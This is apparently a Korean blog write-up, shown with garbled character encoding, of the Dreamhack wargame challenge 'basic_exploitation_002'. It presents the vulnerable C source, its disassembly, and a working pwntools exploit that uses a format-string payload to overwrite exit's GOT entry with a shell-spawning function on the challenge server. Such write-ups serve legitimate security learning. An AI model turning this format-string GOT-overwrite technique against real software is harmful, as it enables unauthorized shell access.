Wargame/Dreamhack

[Pwnable] Basic_exploitation_002

๋‚จ๋ฐ”์˜ค 2023. 2. 16. 11:59

1. Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

2. Write Up

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด, buf ๋ฅผ 0x80 ๋งŒํผ ๋ฐ›๊ณ , read ๋„ 0x80๋งŒํผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— BoF๋Š” ์•ˆ๋œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ๋‹ค์Œ printf ๋ฅผ ๋ณด๋ฉด ์„œ์‹ ๋ฌธ์ž ์—†์ด ์ถœ๋ ฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด ๋ถ€๋ถ„์—์„œ Format string bug ๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.

   0x0804861c <+0>:     push   %ebp
   0x0804861d <+1>:     mov    %esp,%ebp
   0x0804861f <+3>:     add    $0xffffff80,%esp
   0x08048622 <+6>:     call   0x80485c2 <initialize>
   0x08048627 <+11>:    push   $0x80
   0x0804862c <+16>:    lea    -0x80(%ebp),%eax
   0x0804862f <+19>:    push   %eax
   0x08048630 <+20>:    push   $0x0
   0x08048632 <+22>:    call   0x8048410 <read@plt>
   0x08048637 <+27>:    add    $0xc,%esp
   0x0804863a <+30>:    lea    -0x80(%ebp),%eax
   0x0804863d <+33>:    push   %eax
   0x0804863e <+34>:    call   0x8048420 <printf@plt>
   0x08048643 <+39>:    add    $0x4,%esp
   0x08048646 <+42>:    push   $0x0
   0x08048648 <+44>:    call   0x8048470 <exit@plt>

์—ฌ๊ธฐ์„œ NX ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ํ™œ์„ฑํ™”๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์‰˜ ์ฝ”๋“œ ์‹คํ–‰์€ ๋ถˆ๊ฐ€ํ•˜๊ณ ,

RELRO๊ฐ€ Partial ๋กœ ๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— GOT Overwrite ๋ฅผ ํ•ด์•ผ๋œ๋‹ค๋Š” ์ ์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋””๋ฒ„๊น…์„ ํ•ด์„œ exit_got ์ฃผ์†Œ๋ฅผ get_shell ์ฃผ์†Œ๋กœ ๋ฎ์–ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ์†Œ๋ฅผ ์ฐพ์•„์ค€๋‹ค.

  • PLT๋Š” ์ฝ”๋“œ, GOT๋Š” ์ฃผ์†Œ๊ฐ’์ด ์ €์žฅ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—

* Exploit Code

from pwn import *

p = remote("host3.dreamhack.games", 22617)
e = ELF("./basic_exploitation_002")

get_shell = 0x8048609
exit = 0x804a024

payload = p32(exit+2) + p32(exit) + b"%2044c%1$hn%32261c%2$hn"

p.sendline(payload)
p.interactive()

๊ตฌ์กฐ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, exit GOT ์ฃผ์†Œ ์ž‘์„ฑ์„ ํ•ด์ค€ ๋’ค get_shell์˜ ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ๋ณด๋‚ด์ฃผ์—ˆ๋‹ค.

%n์€ 4๋ฐ”์ดํŠธ์”ฉ ์ธ์ž์— ๋„˜๊ฒจ์ฃผ๋Š”๋ฐ, get_shell์˜ ์ฃผ์†Œ๋Š” ๊ฐ’์ด ํฌ๊ธฐ ๋•Œ๋ฌธ์— 2๋ฐ”์ดํŠธ์”ฉ ๋‚˜๋ˆ ์„œ ์ „์†กํ•˜๊ธฐ ์œ„ํ•ด

$hn ๋ฅผ ์‚ฌ์šฉํ–ˆ๋‹ค. ์ด ๋ถ€๋ถ„์€ FSB ์—์„œ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ๋Šฅ์ด๊ธฐ ๋•Œ๋ฌธ์— ๊ผญ ๊ธฐ์–ต!

  • %1$hn์€ ์ฒ˜์Œ 2๋ฐ”์ดํŠธ๋งŒ, %2$hn๋„ ๊ทธ ๋‹ค์Œ 2๋ฐ”์ดํŠธ ์ด๋Ÿฐ์‹์œผ๋กœ

exit_got : 0x8609

exit_got + 2 : 0x804

์ด๋ฏ€๋กœ,

0x804 - 0x8 = 2044 (exit GOT ์ฃผ์†Œ ์ž‘์„ฑ์— 8 ๋ฐ”์ดํŠธ๋ฅผ ์‚ฌ์šฉํ–ˆ๊ธฐ ๋•Œ๋ฌธ์—0

0x8609 - 0x804 = 32261

→ ์ด ๋ถ€๋ถ„์—์„œ ๊ณ„์† ํ—ค๋งธ๋‹คใ… ใ